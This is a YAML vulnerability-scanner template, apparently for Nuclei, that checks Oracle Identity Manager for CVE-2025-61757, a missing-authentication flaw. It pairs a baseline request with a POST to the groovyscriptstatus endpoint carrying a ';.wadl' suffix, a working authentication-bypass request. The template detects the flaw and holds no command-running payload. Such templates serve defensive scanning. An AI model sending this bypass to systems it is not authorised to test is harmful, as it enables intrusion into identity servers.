id: CVE-2025-61757

info:
  name: "Oracle - Missing Authentication"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Vulnerability in the Identity Manager product of Oracle Fusion Middleware (component: REST WebServices).
    Supported versions that are affected are 12.2.1.4.0 and 14.1.2.1.0.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-61757&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=oracle&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-61757
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2025,oracle,identity-manager,auth-bypass,rce,kev,vkev,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(header, "Oracle")'
        condition: and
        internal: true

  - raw:
      - |
        POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "Script Compilation Successful")'
        condition: and